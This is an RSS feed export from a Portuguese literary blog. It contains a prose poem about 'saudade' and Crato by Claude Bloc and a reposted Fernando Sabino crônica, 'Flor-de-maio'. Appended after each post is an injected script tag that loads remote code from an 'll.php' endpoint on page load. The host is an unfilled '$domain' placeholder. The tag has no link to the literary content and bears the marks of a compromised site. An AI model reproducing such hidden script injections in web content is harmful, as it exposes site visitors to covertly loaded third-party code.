<p class="MsoNormal" style="text-align: center;"><span class="Apple-style-span" style="font-weight: bold;"><span class="Apple-style-span"><span class="Apple-style-span" style="color: #000099;"><span class="Apple-style-span" style="font-size: small;">Casa da Serra Verde &#8211; Pintura a óleo de Claude Bloc</span></span></span></span></p>
<p class="MsoNormal" style="text-align:justify">&#8230;&#8230; <span class="Apple-style-span" style="font-weight: bold;"><span class="Apple-style-span"><span class="Apple-style-span" style="color: #000099;"><span class="Apple-style-span" style="font-size: large;">E</span></span></span></span>is-me em silêncio, numa dessas fraturas de um tempo de aceitação. Aceito essa saudade que me chega em meio aos sargaços da idade&#8230;Essa saudade que é fruto da minha lembrança, e que vai aos poucos embaraçando-se em tantas e tantas fugas, cicatrizes, contrapontos&#8230; Saudade que me enlaça nesse imenso azul me abordando sutilmente, abrindo as comportas dos sentimentos e o tropel silencioso das horas insólitas&#8230;</p>
<p class="MsoNormal" style="text-align:justify">&#8230;&#8230; A saudade não me causa fadiga: ela me acerta e me completa. Com o refluir do tempo, ela acaba sendo para mim a súmula de tudo para se tornar a essência do meu canto.</p>
<p class="MsoNormal" style="text-align:justify">&#8230;&#8230; A saudade não subjaz ao simples acaso de um verso. Ela faz pulsar a arte nos desconcertos da poesia&#8230;</p>
<p class="MsoNormal" style="text-align:justify">&#8230;&#8230; A saudade, a minha saudade, inscreve-se no silêncio, como uma órbita revelada em metáforas. Rompe a crosta que a separa do encantamento e vai concentrar-se nos vazios da alma&#8230;</p>
<p class="MsoNormal" style="text-align:justify">&#8230;&#8230; A saudade do Crato é outra história. A minha!</p>
<p class="MsoNormal" style="text-align:justify"><span class="Apple-style-span"><span class="Apple-style-span"><span class="Apple-style-span" style="font-size:small;"><span class="Apple-style-span" style="font-weight: bold;"><span class="Apple-style-span" style="color: #000099;">Por Claude Bloc</span></span></span></span></span></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Flor-de-maio &#8211; Por Fernando Sabino</title>
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		<pubDate>Thu, 07 May 2009 00:26:00 +0000</pubDate>
		<dc:creator>Socorro Moreira</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[&#8220;Entre tantas notícias do jornal – o crime do Sacopã, o disco voador em Bagé, a nova droga antituberculosa, o andaime que caiu, o homem que matou outro com machado e com foice, o possível aumento do pão, a angústia dos Barnabés – há uma pequenina nota de três linhas, que nem todos os jornais [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://2.bp.blogspot.com/_i9I88JKyxRA/SgJJOU0cZzI/AAAAAAAAC8E/qduIUK8Jey8/s1600-h/PJ[1].+051.jpg"><img id="BLOGGER_PHOTO_ID_5332905419215759154" style="margin: 0px auto 10px; display: block; width: 400px; height: 300px; text-align: center;" src="http://2.bp.blogspot.com/_i9I88JKyxRA/SgJJOU0cZzI/AAAAAAAAC8E/qduIUK8Jey8/s400/PJ%5B1%5D.+051.jpg" border="0" alt="" /></a></p>
<div style="text-align: justify;">&#8220;<span style="font-size:180%;color:#3366ff;">E</span>ntre tantas notícias do jornal – o crime do Sacopã, o disco voador em Bagé, a nova droga antituberculosa, o andaime que caiu, o homem que matou outro com machado e com foice, o possível aumento do pão, a angústia dos Barnabés – há uma pequenina nota de três linhas, que nem todos os jornais publicaram. Não vem do gabinete do prefeito para explicar a falta dágua, nem do Ministério da Guerra para insinuar que o país está em paz. Não conta incidentes de fronteira nem desastre de avião. É assinada pelo senhor diretor do Jardim Botânico, e nos informa gravemente que a partir do dia 27 vale a pena visitar o Jardim, porque a planta chamada “flor-de-maio” está, efetivamente, em flor.<br />
Meu primeiro movimento, ao ler esse delicado convite, foi deixar a mesa da redação e me dirigir ao Jardim Botânico, contemplar a flor e cumprimentar a administração do horto pelo feliz evento. Mas havia ainda muita coisa para ler e escrever, telefonemas a dar, providências a tomar. Agora, já desce a noite, e as plantas em flor devem ser vista pela manhã ou à tarde, quando há sol – ou mesmo quando a chuva as despenca e elas soluçam no vento, e choram gotas e flores no chão.<br />
Suspiro e digo comigo mesmo – que amanhã acordarei cedo e irei. Digo, mas não acredito, ou pelo menos desconfio que esse impulso que tive ao ler a notícia ficará no que foi – um impulso de fazer uma coisa boa e simples, que se perde no meio da pressa e da inquietação dos minutos que voam. Qualquer uma destas tardes é possível que me dê vontade real, imperiosa, de ir ao Jardim Botânico, mas então será tarde, não haverá mais “flor-de-maio”, e então pensarei que é preciso esperar a vinda de outro outono, e no outro outono posso estar em outra cidade em que não haja outono em maio, e sem outono em maio não sei se em alguma cidade havera essa “flor-de-maio”.<br />
No fundo, a minha secreta esperança é de que estas linhas sejam lidas por alguém – uma pessoa melhor do que eu, alguma criatura correta e simples que tire desta crônica a sua única substância, a informação precisa e preciosa: do dia 27 em diante as “flores-de-maio” do Jardim Botânico estão gloriosamente em flor. E que utilize essa informação saindo de casa e indo diretamente ao Jardim Botânicoa ver a “flor-de-maio” – talvez com a mulher e as crianças, talvez com a namorada, talvez só.<br />
Ir só, no fim da tarde, ver a “flor-de-maio”; aproveitar a única notícia boa de um dia inteiro de jornal, fazer a coisa mais bela e emocionante de um dia inteiro da cidade imensa. Se entre vós houver essa criatura, e ela souber por mim a notícia, e for, então eu vos direi que nem tudo esta perdido, e que vale a pena viver entre tantos sacopãs de paixões desgraçadas e tantas COFAPs de preços irritantes; que a humanidade possivelmente ainda poderá ser salva, e que às vezes ainda vale a pena escrever uma crônica.&#8221;</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">(Fernando Sabino)</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">P.S.Recebi de uma amiga, e compartilho com vocês.</div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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